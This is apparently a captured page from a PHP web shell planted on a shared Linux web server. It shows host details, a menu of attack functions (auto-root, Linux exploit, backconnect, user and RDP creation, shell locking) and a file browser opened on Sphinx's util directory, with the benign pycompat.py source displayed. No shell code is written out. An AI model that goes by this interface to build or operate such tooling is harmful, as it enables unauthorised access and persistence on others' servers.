Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
sphinx /
util /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
stemmer
[ DIR ]
drwxr-xr-x
__init__.py
19.24
KB
-rw-r--r--
build_phase.py
417
B
-rw-r--r--
cfamily.py
13.96
KB
-rw-r--r--
compat.py
1.2
KB
-rw-r--r--
console.py
3.48
KB
-rw-r--r--
docfields.py
16.11
KB
-rw-r--r--
docstrings.py
3.65
KB
-rw-r--r--
docutils.py
18.53
KB
-rw-r--r--
fileutil.py
3.72
KB
-rw-r--r--
i18n.py
9.71
KB
-rw-r--r--
images.py
2.92
KB
-rw-r--r--
inspect.py
31.36
KB
-rw-r--r--
inventory.py
6.28
KB
-rw-r--r--
jsdump.py
5.69
KB
-rw-r--r--
logging.py
17.92
KB
-rw-r--r--
matching.py
3.22
KB
-rw-r--r--
math.py
1.85
KB
-rw-r--r--
nodes.py
22.31
KB
-rw-r--r--
osutil.py
6.79
KB
-rw-r--r--
parallel.py
5.28
KB
-rw-r--r--
png.py
1.56
KB
-rw-r--r--
pycompat.py
2.04
KB
-rw-r--r--
requests.py
4.06
KB
-rw-r--r--
rst.py
3.35
KB
-rw-r--r--
smartypants.py
15.61
KB
-rw-r--r--
tags.py
2.72
KB
-rw-r--r--
template.py
4.65
KB
-rw-r--r--
texescape.py
5.46
KB
-rw-r--r--
typing.py
18.44
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pycompat.py
""" sphinx.util.pycompat ~~~~~~~~~~~~~~~~~~~~ Stuff for Python version compatibility. :copyright: Copyright 2007-2021 by the Sphinx team, see AUTHORS. :license: BSD, see LICENSE for details. """ import warnings from typing import Any, Callable from sphinx.deprecation import RemovedInSphinx60Warning # ------------------------------------------------------------------------------ # Python 2/3 compatibility # convert_with_2to3(): # support for running 2to3 over config files def convert_with_2to3(filepath: str) -> str: warnings.warn('convert_with_2to3() is deprecated', RemovedInSphinx60Warning, stacklevel=2) try: from lib2to3.pgen2.parse import ParseError from lib2to3.refactor import RefactoringTool, get_fixers_from_package except ImportError as exc: # python 3.9.0a6+ emits PendingDeprecationWarning for lib2to3. # Additionally, removal of the module is still discussed at PEP-594. # To support future python, this catches ImportError for lib2to3. raise SyntaxError from exc fixers = get_fixers_from_package('lib2to3.fixes') refactoring_tool = RefactoringTool(fixers) source = refactoring_tool._read_python_source(filepath)[0] try: tree = refactoring_tool.refactor_string(source, 'conf.py') except ParseError as err: # do not propagate lib2to3 exceptions lineno, offset = err.context[1] # try to match ParseError details with SyntaxError details raise SyntaxError(err.msg, (filepath, lineno, offset, err.value)) from err return str(tree) def execfile_(filepath: str, _globals: Any, open: Callable = open) -> None: warnings.warn('execfile_() is deprecated', RemovedInSphinx60Warning, stacklevel=2) from sphinx.util.osutil import fs_encoding with open(filepath, 'rb') as f: source = f.read() # compile to a code object, handle syntax errors filepath_enc = filepath.encode(fs_encoding) code = compile(source, filepath_enc, 'exec') exec(code, _globals)
Close